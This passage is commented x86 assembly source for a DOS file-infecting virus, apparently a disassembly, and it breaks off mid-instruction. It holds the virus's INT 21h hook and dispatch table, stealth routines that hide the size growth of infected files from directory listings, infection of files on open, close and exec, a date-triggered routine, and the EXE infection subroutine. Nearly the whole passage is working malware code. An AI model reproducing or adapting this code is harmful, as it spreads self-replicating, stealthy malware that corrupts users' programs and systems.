(CS:0104=0Dh)&lt;br /&gt;		push	cs:old_DS		; (CS:1245=7DBDh)&lt;br /&gt;		mov	ax,100h&lt;br /&gt;		push	ax&lt;br /&gt;		mov	ax,cs:old_AX		; (CS:12E3=0)&lt;br /&gt;		retf				; Return far&lt;br /&gt;loc_6:&lt;br /&gt;; restore infected .EXE file and run it&lt;br /&gt;		add	cs:data_27,ax		; (CS:0012=68Ch)&lt;br /&gt;		mov	ax,cs:old_AX		; (CS:12E3=0)&lt;br /&gt;		mov	ss,cs:data_27		; (CS:0012=68Ch)&lt;br /&gt;		mov	sp,cs:data_28		; (CS:0014) original SP&lt;br /&gt;		sti				; Enable interrupts&lt;br /&gt;		jmp	cs:data_29		; (CS:0018=12Bh)&lt;br /&gt;virus_entry:	cmp	sp,100h&lt;br /&gt;		ja	loc_7			; Jump if above&lt;br /&gt;		xor	sp,sp			; Zero register&lt;br /&gt;loc_7:&lt;br /&gt;		mov	bp,ax&lt;br /&gt;		call	sub_2			; (0275)&lt;br /&gt;sub_2:		pop	cx&lt;br /&gt;		sub	cx,offset sub_2&lt;br /&gt;		mov	ax,cs&lt;br /&gt;		mov	bx,10h&lt;br /&gt;		mul	bx			; dx:ax = ax * 10&lt;br /&gt;		add	ax,cx			; cx = virus begin address&lt;br /&gt;		adc	dx,0&lt;br /&gt;		div	bx			; ax,dx rem=dx:ax/10&lt;br /&gt;		push	ax			; ax = new segment&lt;br /&gt;		mov	ax,offset vir_1&lt;br /&gt;		push	ax&lt;br /&gt;		mov	ax,bp&lt;br /&gt;		retf				; Return far - jump to vir_1&lt;br /&gt;&lt;br /&gt;table		db	 30h&lt;br /&gt;		dw	offset _21_30&lt;br /&gt;		db	 23h&lt;br /&gt;		dw	offset _21_23&lt;br /&gt;		db	 37h&lt;br /&gt;		dw	offset _21_37&lt;br /&gt;		db	 4bh&lt;br /&gt;		dw	offset _21_4B&lt;br /&gt;		db	 3ch&lt;br /&gt;		dw	offset _21_3C&lt;br /&gt;		db	 3dh&lt;br /&gt;		dw	offset _21_3D&lt;br /&gt;		db	 3Eh&lt;br /&gt;		dw	offset _21_3E&lt;br /&gt;		db	 0Fh&lt;br /&gt;		dw	offset _21_0F&lt;br /&gt;		db	 14h&lt;br /&gt;		dw	offset _21_14&lt;br /&gt;		db	 21h&lt;br /&gt;		dw	offset _21_21&lt;br /&gt;		db	 27h&lt;br /&gt;		dw	offset _21_27&lt;br /&gt;		db	 11h&lt;br /&gt;		dw	offset _21_11_12&lt;br /&gt;		db	 12h&lt;br /&gt;		dw	offset _21_11_12&lt;br /&gt;		db	 4Eh&lt;br /&gt;		dw	offset _21_4E_4F&lt;br /&gt;		db	 4Fh&lt;br /&gt;		dw	offset _21_4E_4F&lt;br /&gt;		db	 3Fh&lt;br /&gt;		dw	offset _21_3F&lt;br /&gt;		db	 40h&lt;br /&gt;		dw	offset _21_40&lt;br /&gt;		db	 42h&lt;br /&gt;		dw	offset _21_42&lt;br /&gt;		db	 57h&lt;br /&gt;		dw	offset _21_57&lt;br /&gt;		db	 48h&lt;br /&gt;		dw	offset _21_48&lt;br /&gt;end_tbl:&lt;br /&gt;INT_21: 	cmp	ax,4b00h&lt;br /&gt;		jnz	loc_8_1&lt;br /&gt;		mov	cs:data_95,al&lt;br /&gt;loc_8_1:	push	bp&lt;br /&gt;		mov	bp,sp&lt;br /&gt;		push	[bp+6]			; flags&lt;br /&gt;		pop	cs:data_85&lt;br /&gt;		pop	bp			;  ???&lt;br /&gt;		push	bp			;  ???&lt;br /&gt;		mov	bp,sp&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack&lt;br /&gt;		call	sub_18			; xchg info in INT 21&lt;br /&gt;		call	sub_15			; BREAK = OFF&lt;br /&gt;		call	sub_20			; Restore regs from vir's stack&lt;br /&gt;		call	sub_17			; Save REGS&lt;br /&gt;		push	bx&lt;br /&gt;		mov	bx,offset table&lt;br /&gt;loc_8:&lt;br /&gt;		cmp	ah,cs:[bx]&lt;br /&gt;		jne	loc_9			; Jump if not equal&lt;br /&gt;		mov	bx,cs:[bx+1]&lt;br /&gt;		xchg	bx,[bp-14h]&lt;br /&gt;		cld				; Clear direction&lt;br /&gt;		retn&lt;br /&gt;loc_9:&lt;br /&gt;		add	bx,3&lt;br /&gt;		cmp	bx,offset end_tbl&lt;br /&gt;		jb	loc_8			; Jump if below&lt;br /&gt;		pop	bx&lt;br /&gt;loc_10:&lt;br /&gt;		call	sub_16			; Restore BREAK state&lt;br /&gt;		in	al,21h			; port 21h, 8259-1 int IMR&lt;br /&gt;		mov	cs:data_97,al		; (CS:12E5=0)&lt;br /&gt;		mov	al,0FFh&lt;br /&gt;		out	21h,al			; port 21h, 8259-1 int comands&lt;br /&gt;		mov	byte ptr cs:data_74,4	; (CS:1251=0)&lt;br /&gt;		mov	byte ptr cs:data_73,1	; (CS:1250=0)&lt;br /&gt;		call	sub_22			; Set INT 01 for debuging&lt;br /&gt;		call	sub_19			; Restore REGS&lt;br /&gt;		push	ax&lt;br /&gt;		mov	ax,cs:data_85		; (CS:12B3=0)&lt;br /&gt;		or	ax,100h&lt;br /&gt;		push	ax&lt;br /&gt;		popf				; Pop flags&lt;br /&gt;		pop	ax&lt;br /&gt;		pop	bp&lt;br /&gt;		jmp	dword ptr cs:ptr_INT_21 ; (CS:1235=0)&lt;br /&gt;loc_11:&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack&lt;br /&gt;		call	sub_16			; (0D9B)&lt;br /&gt;		call	sub_18			; (0DBA)&lt;br /&gt;		call	sub_20			; Restore regs from vir's stack&lt;br /&gt;		pop	bp&lt;br /&gt;		push	bp&lt;br /&gt;		mov	bp,sp&lt;br /&gt;		push	cs:data_85		; (CS:12B3=0)&lt;br /&gt;		pop	word ptr [bp+6]&lt;br /&gt;		pop	bp&lt;br /&gt;		iret				; Interrupt return&lt;br /&gt;_21_11_12:	call	sub_19			; Restore REGS&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		or	al,al			; Zero ?&lt;br /&gt;		jnz	loc_11			; Jump if not zero&lt;br /&gt;		call	sub_17			; Save REGS&lt;br /&gt;		call	sub_3			; (0581)&lt;br /&gt;		mov	al,0&lt;br /&gt;		cmp	byte ptr [bx],0FFh&lt;br /&gt;		jne	loc_12			; Jump if not equal&lt;br /&gt;		mov	al,[bx+6]&lt;br /&gt;		add	bx,7&lt;br /&gt;loc_12:&lt;br /&gt;		and	cs:data_104,al		; (CS:12F0=0)&lt;br /&gt;		test	byte ptr [bx+1Ah],80h&lt;br /&gt;		jz	loc_13			; Jump if zero&lt;br /&gt;		sub	byte ptr [bx+1Ah],0C8h&lt;br /&gt;		cmp	byte ptr cs:data_104,0	; (CS:12F0=0)&lt;br /&gt;		jne	loc_13			; Jump if not equal&lt;br /&gt;		sub	word ptr [bx+1Dh],1000h&lt;br /&gt;		sbb	word ptr [bx+1Fh],0&lt;br /&gt;loc_13:&lt;br /&gt;		call	sub_19			; Restore REGS&lt;br /&gt;		jmp	short loc_11		; (033F)&lt;br /&gt;_21_0F: 	call	sub_19			; Restore REGS&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		call	sub_17			; Save REGS&lt;br /&gt;		or	al,al			; Zero ?&lt;br /&gt;		jnz	loc_13			; Jump if not zero&lt;br /&gt;		mov	bx,dx&lt;br /&gt;		test	byte ptr [bx+15h],80h&lt;br /&gt;		jz	loc_13			; Jump if zero&lt;br /&gt;		sub	byte ptr [bx+15h],0C8h&lt;br /&gt;		sub	word ptr [bx+10h],1000h&lt;br /&gt;		sbb	byte ptr [bx+12h],0&lt;br /&gt;		jmp	short loc_13		; (0396)&lt;br /&gt;_21_27: 	jcxz	loc_15			; Jump if cx=0&lt;br /&gt;_21_21: 	mov	bx,dx&lt;br /&gt;		mov	si,[bx+21h]&lt;br /&gt;		or	si,[bx+23h]&lt;br /&gt;		jnz	loc_15			; Jump if not zero&lt;br /&gt;		jmp	short loc_14		; (03D7)&lt;br /&gt;_21_14: 	mov	bx,dx&lt;br /&gt;		mov	ax,[bx+0Ch]&lt;br /&gt;		or	al,[bx+20h]&lt;br /&gt;		jnz	loc_15			; Jump if not zero&lt;br /&gt;loc_14:&lt;br /&gt;		call	sub_7			; (0919)&lt;br /&gt;		jnc	loc_16			; Jump if carry=0&lt;br /&gt;loc_15:&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;loc_16:&lt;br /&gt;		call	sub_19			; Restore REGS&lt;br /&gt;		call	sub_17			; Save REGS&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	[bp-4],ax&lt;br /&gt;		mov	[bp-8],cx&lt;br /&gt;		push	ds&lt;br /&gt;		push	dx&lt;br /&gt;		call	sub_3			; (0581)&lt;br /&gt;		cmp	word ptr [bx+14h],1&lt;br /&gt;		je	loc_17			; Jump if equal&lt;br /&gt;		mov	ax,[bx]&lt;br /&gt;		add	ax,[bx+2]&lt;br /&gt;		add	ax,[bx+4]&lt;br /&gt;		jz	loc_17			; Jump if zero&lt;br /&gt;		add	sp,4&lt;br /&gt;		jmp	short loc_13		; (0396)&lt;br /&gt;loc_17:&lt;br /&gt;		pop	dx&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	si,dx&lt;br /&gt;		push	cs&lt;br /&gt;		pop	es&lt;br /&gt;		mov	di,offset data_86	; (CS:12B5=0)&lt;br /&gt;		mov	cx,25h&lt;br /&gt;		rep	movsb			; Rep when cx &gt;0 Mov [si] to es:[di]&lt;br /&gt;		mov	di,offset data_86	; (CS:12B5=0)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	ax,[di+10h]&lt;br /&gt;		mov	dx,[di+12h]&lt;br /&gt;		add	ax,100Fh&lt;br /&gt;		adc	dx,0&lt;br /&gt;		and	ax,0FFF0h&lt;br /&gt;		mov	[di+10h],ax&lt;br /&gt;		mov	[di+12h],dx&lt;br /&gt;		sub	ax,0FFCh&lt;br /&gt;		sbb	dx,0&lt;br /&gt;		mov	[di+21h],ax&lt;br /&gt;		mov	[di+23h],dx&lt;br /&gt;		mov	word ptr [di+0Eh],1&lt;br /&gt;		mov	cx,1Ch&lt;br /&gt;		mov	dx,di&lt;br /&gt;		mov	ah,27h			; '''&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;_21_23: 	push	cs&lt;br /&gt;		pop	es&lt;br /&gt;		mov	si,dx&lt;br /&gt;		mov	di,offset data_86	; (CS:12B5=0)&lt;br /&gt;		mov	cx,25h&lt;br /&gt;		rep	movsb			; Rep when cx &gt;0 Mov [si] to es:[di]&lt;br /&gt;		push	ds&lt;br /&gt;		push	dx&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	dx,offset data_86	; CS:12B5&lt;br /&gt;		mov	ah,0Fh&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	ah,10h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		test	byte ptr data_89,80h	; (CS:12CA=0)&lt;br /&gt;		pop	si&lt;br /&gt;		pop	ds&lt;br /&gt;		jz	loc_20			; Jump if zero&lt;br /&gt;		les	bx,cs:data_88		; (CS:12C5=0) Load 32 bit ptr&lt;br /&gt;		mov	ax,es&lt;br /&gt;		sub	bx,1000h&lt;br /&gt;		sbb	ax,0&lt;br /&gt;		xor	dx,dx			; Zero register&lt;br /&gt;		mov	cx,cs:data_87		; (CS:12C3=0)&lt;br /&gt;		dec	cx&lt;br /&gt;		add	bx,cx&lt;br /&gt;		adc	ax,0&lt;br /&gt;		inc	cx&lt;br /&gt;		div	cx			; ax,dx rem=dx:ax/reg&lt;br /&gt;		mov	[si+23h],ax&lt;br /&gt;		xchg	ax,dx&lt;br /&gt;		xchg	ax,bx&lt;br /&gt;		div	cx			; ax,dx rem=dx:ax/reg&lt;br /&gt;		mov	[si+21h],ax&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;_21_4E_4F:	and	cs:data_85,0FFFEh	; (CS:12B3=0)&lt;br /&gt;		call	sub_19			; Restore REGS&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		call	sub_17			; Save REGS&lt;br /&gt;		jnc	loc_18			; Jump if carry=0&lt;br /&gt;		or	cs:data_85,1		; (CS:12B3=0)&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;loc_18:&lt;br /&gt;		call	sub_3			; (0581)&lt;br /&gt;		test	byte ptr [bx+19h],80h&lt;br /&gt;		jnz	loc_19			; Jump if not zero&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;loc_19:&lt;br /&gt;		sub	word ptr [bx+1Ah],1000h&lt;br /&gt;		sbb	word ptr [bx+1Ch],0&lt;br /&gt;		sub	byte ptr [bx+19h],0C8h&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;_21_3C: 	push	cx&lt;br /&gt;		and	cx,7&lt;br /&gt;		cmp	cx,7&lt;br /&gt;		je	loc_23			; Jump if equal&lt;br /&gt;		pop	cx&lt;br /&gt;		call	sub_13			; (0CC6)&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		call	sub_14			; (0D6C)&lt;br /&gt;		pushf				; Push flags&lt;br /&gt;		cmp	byte ptr cs:data_90,0	; (CS:12DA=0)&lt;br /&gt;		je	loc_21			; Jump if equal&lt;br /&gt;		popf				; Pop flags&lt;br /&gt;loc_20:&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;loc_21:&lt;br /&gt;		popf				; Pop flags&lt;br /&gt;		jc	loc_22			; Jump if carry Set&lt;br /&gt;		mov	bx,ax&lt;br /&gt;		mov	ah,3Eh			; '&gt;'&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		jmp	short _21_3D		; (0511)&lt;br /&gt;loc_22:&lt;br /&gt;		or	byte ptr cs:data_85,1	; (CS:12B3=0)&lt;br /&gt;		mov	[bp-4],ax&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;loc_23:&lt;br /&gt;		pop	cx&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;_21_3D:&lt;br /&gt;		call	sub_9			; Get PSP segment&lt;br /&gt;		call	sub_8			; (0925)&lt;br /&gt;		jc	loc_26			; Jump if carry Set&lt;br /&gt;		cmp	byte ptr cs:data_76,0	; (CS:12A2=0)&lt;br /&gt;		je	loc_26			; Jump if equal&lt;br /&gt;		call	sub_10			; (097E)&lt;br /&gt;		cmp	bx,0FFFFh&lt;br /&gt;		je	loc_26			; Jump if equal&lt;br /&gt;		dec	cs:data_76		; (CS:12A2=0)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	es&lt;br /&gt;		mov	di,offset data_75	; (CS:1252=0)&lt;br /&gt;		mov	cx,14h&lt;br /&gt;		xor	ax,ax			; Zero register&lt;br /&gt;		repne	scasw			; Rep zf=0+cx &gt;0 Scan es:[di] for ax&lt;br /&gt;		mov	ax,cs:data_77		; (CS:12A3=0)&lt;br /&gt;		mov	es:[di-2],ax&lt;br /&gt;		mov	es:[di+26h],bx&lt;br /&gt;		mov	[bp-4],bx&lt;br /&gt;loc_25:&lt;br /&gt;		and	byte ptr cs:data_85,0FEh	; (CS:12B3=0)&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;loc_26:&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;_21_3E: 	push	cs&lt;br /&gt;		pop	es&lt;br /&gt;		call	sub_9			; Get PSP segment&lt;br /&gt;		mov	di,offset data_75	; (CS:1252=0)&lt;br /&gt;		mov	cx,14h&lt;br /&gt;		mov	ax,cs:data_77		; (CS:12A3=0)&lt;br /&gt;loc_27:&lt;br /&gt;		repne	scasw			; Rep zf=0+cx &gt;0 Scan es:[di] for ax&lt;br /&gt;		jnz	loc_28			; Jump if not zero&lt;br /&gt;		cmp	bx,es:[di+26h]&lt;br /&gt;		jne	loc_27			; Jump if not equal&lt;br /&gt;		mov	word ptr es:[di-2],0&lt;br /&gt;		call	sub_4			; (0793) - infect file&lt;br /&gt;		inc	cs:data_76		; (CS:12A2=0)&lt;br /&gt;		jmp	short loc_25		; (0549)&lt;br /&gt;loc_28:&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_3		proc	near&lt;br /&gt;		push	es&lt;br /&gt;		mov	ah,2Fh			; '/'&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		push	es&lt;br /&gt;		pop	ds&lt;br /&gt;		pop	es&lt;br /&gt;		retn&lt;br /&gt;sub_3		endp&lt;br /&gt;&lt;br /&gt;_21_4B: 	or	al,al			; Zero ?&lt;br /&gt;		jz	loc_29			; Jump if zero&lt;br /&gt;		jmp	loc_36			; (06E0)&lt;br /&gt;loc_29:&lt;br /&gt;		push	ds&lt;br /&gt;		push	dx&lt;br /&gt;		mov	cs:prm_blck_adr,bx	; (CS:1224) save EXEC block offset&lt;br /&gt;		mov	word ptr cs:prm_blck_adr+2,es ; (CS:1226) save EXEC block segment&lt;br /&gt;		lds	si,dword ptr cs:prm_blck_adr  ; (CS:1224) Load EXEC block address&lt;br /&gt;		mov	di,offset exec_block	 ; (CS:12F1)&lt;br /&gt;		mov	cx,0Eh&lt;br /&gt;		push	cs&lt;br /&gt;		pop	es&lt;br /&gt;		rep	movsb			; Save EXEC param block&lt;br /&gt;		pop	si&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	di,offset file_name	; (CS:1307)&lt;br /&gt;		mov	cx,50h&lt;br /&gt;		rep	movsb			; Save file name&lt;br /&gt;		mov	bx,0FFFFh&lt;br /&gt;		call	sub_23			; (0E3A)&lt;br /&gt;		call	sub_19			; Restore REGS&lt;br /&gt;		pop	bp&lt;br /&gt;		pop	cs:data_98		; (CS:12E6=0)&lt;br /&gt;		pop	cs:data_99		; (CS:12E8=0)&lt;br /&gt;		pop	cs:data_85		; (CS:12B3=0)&lt;br /&gt;		mov	ax,4B01h&lt;br /&gt;		push	cs&lt;br /&gt;		pop	es&lt;br /&gt;		mov	bx,offset exec_block&lt;br /&gt;		pushf				; Push flags&lt;br /&gt;		call	dword ptr cs:ptr_INT_21 ; (CS:1235=0)&lt;br /&gt;		jnc	loc_30			; Jump if carry=0&lt;br /&gt;		or	cs:data_85,1		; (CS:12B3=0)&lt;br /&gt;		push	cs:data_85		; (CS:12B3=0)&lt;br /&gt;		push	cs:data_99		; (CS:12E8=0)&lt;br /&gt;		push	cs:data_98		; (CS:12E6=0)&lt;br /&gt;		push	bp&lt;br /&gt;		mov	bp,sp&lt;br /&gt;		les	bx,dword ptr cs:prm_blck_adr ; (CS:1224=0) Load 32 bit ptr&lt;br /&gt;		jmp	loc_11			; (033F)&lt;br /&gt;loc_30:&lt;br /&gt;		call	sub_9			; Get PSP segment&lt;br /&gt;		push	cs&lt;br /&gt;		pop	es&lt;br /&gt;		mov	di,offset data_75	; (CS:1252=0)&lt;br /&gt;		mov	cx,14h&lt;br /&gt;loc_31:&lt;br /&gt;		mov	ax,cs:data_77		; (CS:12A3=0)&lt;br /&gt;		repne	scasw			; Rep zf=0+cx &gt;0 Scan es:[di] for ax&lt;br /&gt;		jnz	loc_32			; Jump if not zero&lt;br /&gt;		mov	word ptr es:[di-2],0&lt;br /&gt;		inc	cs:data_76		; (CS:12A2=0)&lt;br /&gt;		jmp	short loc_31		; (060B)&lt;br /&gt;loc_32:&lt;br /&gt;		lds	si,cs:entry_point	; (CS:1303=0) Load 32 bit ptr&lt;br /&gt;		cmp	si,1			; already infected?&lt;br /&gt;		jne	loc_33			; Jump if not equal&lt;br /&gt;		mov	dx,word ptr ds:data_29+2 ; (0000:001A) - original entry point segment&lt;br /&gt;		add	dx,10h&lt;br /&gt;		mov	ah,51h&lt;br /&gt;		call	sub_24			; INT 21 - get PSP segment&lt;br /&gt;		add	dx,bx&lt;br /&gt;		mov	word ptr cs:entry_point+2,dx ; (CS:1305=0)&lt;br /&gt;		push	word ptr ds:data_29	; (0000:0018) - original entry point offset&lt;br /&gt;		pop	word ptr cs:entry_point ; (CS:1303=0)&lt;br /&gt;		add	bx,10h&lt;br /&gt;		add	bx,ds:data_27		; (0000:0012) - original SS:&lt;br /&gt;		mov	cs:data_107,bx		; (CS:1301=0)&lt;br /&gt;		push	word ptr ds:data_28	; (0000:0014) - original SP&lt;br /&gt;		pop	cs:data_106		; (CS:12FF=0)&lt;br /&gt;		jmp	short loc_34		; (067F)&lt;br /&gt;loc_33:&lt;br /&gt;		mov	ax,[si]&lt;br /&gt;		add	ax,[si+2]&lt;br /&gt;		add	ax,[si+4]&lt;br /&gt;		jz	loc_35			; Jump if zero&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	dx,offset file_name&lt;br /&gt;		call	sub_8			; (0925)&lt;br /&gt;		call	sub_10			; (097E)&lt;br /&gt;		inc	cs:data_103		; (CS:12EF=0)&lt;br /&gt;		call	sub_4			; infect file&lt;br /&gt;		dec	cs:data_103		; (CS:12EF=0)&lt;br /&gt;loc_34:&lt;br /&gt;		mov	ah,51h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack&lt;br /&gt;		call	sub_16			; (0D9B)&lt;br /&gt;		call	sub_18			; (0DBA)&lt;br /&gt;		call	sub_20			; Restore REGS from vir's stack&lt;br /&gt;		mov	ds,bx&lt;br /&gt;		mov	es,bx&lt;br /&gt;		push	cs:data_85		; (CS:12B3=0)&lt;br /&gt;		push	cs:data_99		; (CS:12E8=0)&lt;br /&gt;		push	cs:data_98		; (CS:12E6=0)&lt;br /&gt;		pop	word ptr ds:PSP_0A	; offset 0A in PSP&lt;br /&gt;		pop	word ptr ds:PSP_0A+2	; offset 0C in PSP&lt;br /&gt;		push	ds&lt;br /&gt;		lds	dx,dword ptr ds:PSP_0A	; offset 0A in PSP - terminate address&lt;br /&gt;		mov	al,22h&lt;br /&gt;		call	sub_27			; Set INT 22 vector&lt;br /&gt;		pop	ds&lt;br /&gt;		popf				; Pop flags&lt;br /&gt;		pop	ax&lt;br /&gt;		mov	ss,cs:data_107		; (CS:1301=0)&lt;br /&gt;		mov	sp,cs:data_106		; (CS:12FF=0)&lt;br /&gt;		jmp	dword ptr cs:entry_point ; (CS:1303=0)&lt;br /&gt;loc_35:&lt;br /&gt;		mov	bx,[si+1]&lt;br /&gt;		mov	ax,ds:[bx+si+sav_file]	 ; (0000:FD9F)&lt;br /&gt;		mov	[si],ax&lt;br /&gt;		mov	ax,ds:[bx+si+sav_file+2] ; (0000:FDA1)&lt;br /&gt;		mov	[si+2],ax&lt;br /&gt;		mov	ax,ds:[bx+si+sav_file+4] ; (0000:FDA3)&lt;br /&gt;		mov	[si+4],ax&lt;br /&gt;		jmp	short loc_34		; (067F)&lt;br /&gt;loc_36:&lt;br /&gt;		cmp	al,1&lt;br /&gt;		je	loc_37			; Jump if equal&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;loc_37:&lt;br /&gt;		or	cs:data_85,1		; (CS:12B3=0)&lt;br /&gt;		mov	cs:prm_blck_adr,bx	; (CS:1224=0)&lt;br /&gt;		mov	word ptr cs:prm_blck_adr+2,es ; (CS:1226=7DBDh)&lt;br /&gt;		call	sub_19			; Restore REGS&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		call	sub_17			; Save REGS&lt;br /&gt;		les	bx,dword ptr cs:prm_blck_adr	; (CS:1224) Load EXEC param block address&lt;br /&gt;		lds	si,dword ptr es:[bx+12h]	; Load CS:IP from EXEC parameter block&lt;br /&gt;		jc	loc_40				; Jump if carry Set&lt;br /&gt;		and	byte ptr cs:data_85,0FEh	; (CS:12B3=0)&lt;br /&gt;		cmp	si,1			; infected .EXE ?&lt;br /&gt;		je	loc_38			; Jump if equal&lt;br /&gt;		mov	ax,[si]&lt;br /&gt;		add	ax,[si+2]&lt;br /&gt;		add	ax,[si+4]&lt;br /&gt;		jnz	loc_39			; Jump if not zero&lt;br /&gt;		mov	bx,[si+1]&lt;br /&gt;		mov	ax,ds:[bx+si+sav_file]	; (013B:FD9F) saved original file&lt;br /&gt;		mov	[si],ax&lt;br /&gt;		mov	ax,ds:[bx+si+sav_file+2] ; (013B:FDA1) saved original file&lt;br /&gt;		mov	[si+2],ax&lt;br /&gt;		mov	ax,ds:[bx+si+sav_file+4] ; (013B:FDA3) saved original file&lt;br /&gt;		mov	[si+4],ax&lt;br /&gt;		jmp	short loc_39		; (0765)&lt;br /&gt;loc_38:&lt;br /&gt;		mov	dx,word ptr ds:data_29+2	; (013B:001A=2E09h)&lt;br /&gt;		call	sub_9			; Get PSP segment&lt;br /&gt;		mov	cx,cs:data_77		; (CS:12A3) - PSP segment&lt;br /&gt;		add	cx,10h&lt;br /&gt;		add	dx,cx&lt;br /&gt;		mov	es:[bx+14h],dx&lt;br /&gt;		mov	ax,word ptr ds:data_29	; (013B:0018=7332h)&lt;br /&gt;		mov	es:[bx+12h],ax&lt;br /&gt;		mov	ax,ds:data_27		; (013B:0012=2E08h)&lt;br /&gt;		add	ax,cx&lt;br /&gt;		mov	es:[bx+10h],ax&lt;br /&gt;		mov	ax,ds:data_28		; (013B:0014=3E80h)&lt;br /&gt;		mov	es:[bx+0Eh],ax&lt;br /&gt;loc_39:&lt;br /&gt;		call	sub_9			; Get PSP segment&lt;br /&gt;		mov	ds,cs:data_77		; (CS:12A3=0)&lt;br /&gt;		mov	ax,[bp+2]&lt;br /&gt;		mov	ds:PSP_0A,ax		; (0000:000A=0F000h)&lt;br /&gt;		mov	ax,[bp+4]&lt;br /&gt;		mov	word ptr ds:PSP_0A+2,ax ; (0000:000C=7F6h)&lt;br /&gt;loc_40:&lt;br /&gt;		jmp	loc_13			; (0396)&lt;br /&gt;_21_30: 	mov	byte ptr cs:data_104,0	; (CS:12F0=0)&lt;br /&gt;		mov	ah,2Ah&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		cmp	dx,916h&lt;br /&gt;		jb	loc_41			; Jump if below&lt;br /&gt;		call	sub_28			; (0FB2)&lt;br /&gt;loc_41:&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;		     SUBROUTINE - INFECTION&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_4		proc	near&lt;br /&gt;		call	sub_13			; (0CC6)&lt;br /&gt;		call	sub_5			; (0855)&lt;br /&gt;		mov	byte ptr data_31,1	; (CS:0020=0)&lt;br /&gt;		cmp	data_38,5A4Dh		; (CS:1200=0)&lt;br /&gt;		je	loc_42			; Jump if equal&lt;br /&gt;		cmp	data_38,4D5Ah		; (CS:1200=0)&lt;br /&gt;		je	loc_42			; Jump if equal&lt;br /&gt;		dec	byte ptr data_31	; (CS:0020=0)&lt;br /&gt;		jz	loc_45			; Jump if zero&lt;br /&gt;loc_42:&lt;br /&gt;; .EXE file infect&lt;br /&gt;		mov	ax,data_41		; (CS:1204=0)&lt;br /&gt;		shl	cx,1			; Shift w/zeros fill&lt;br /&gt;		mul	cx			; dx:ax = reg * ax&lt;br /&gt;		add	ax,200h&lt;br /&gt;		cmp	ax,si&lt;br /&gt;		jb	loc_44			; Jump if below&lt;br /&gt;		mov	ax,data_43		; (CS:120A=0)&lt;br /&gt;		or	ax,data_44		; (CS:120C=0)&lt;br /&gt;		jz	loc_44			; Jump if zero&lt;br /&gt;		mov	ax,data_80		; (CS:12A9=0)&lt;br /&gt;		mov	dx,data_81		; (CS:12AB=0)&lt;br /&gt;		mov	cx,200h&lt;br /&gt;		div	cx			; ax,dx rem=dx:ax/reg&lt;br /&gt;		or	dx,dx			; Zero ?&lt;br /&gt;		jz	loc_43			; Jump if zero&lt;br /&gt;		inc	ax&lt;br /&gt;loc_43:&lt;br /&gt;		mov	data_41,ax		; (CS:1204=0)&lt;br /&gt;		mov	data_40,dx		; (CS:1202=0)&lt;br /&gt;		cmp	data_48,1		; (CS:1214=0)&lt;br /&gt;		je	loc_46			; Jump if equal&lt;br /&gt;		mov	data_48,1		; (CS:1214=0)&lt;br /&gt;		mov	ax,si&lt;br /&gt;		sub	ax,data_42		; (CS:1208=0)&lt;br /&gt;		mov	data_49,ax		; (CS:1216=0)&lt;br /&gt;		add	data_41,8		; (CS:1204=0)&lt;br /&gt;		mov	data_45,ax		; (CS:120E=0)&lt;br /&gt;		mov	data_46,1000h		; (CS:1210=0) BUG BUG BUG!!!&lt;br /&gt;						; When .EXE file is infected,&lt;br /&gt;						; the end of the virus wil be&lt;br /&gt;						; damaged. (sp = 1000)&lt;br /&gt;		call	sub_6			; (08B3)&lt;br /&gt;loc_44:&lt;br /&gt;		jmp	short 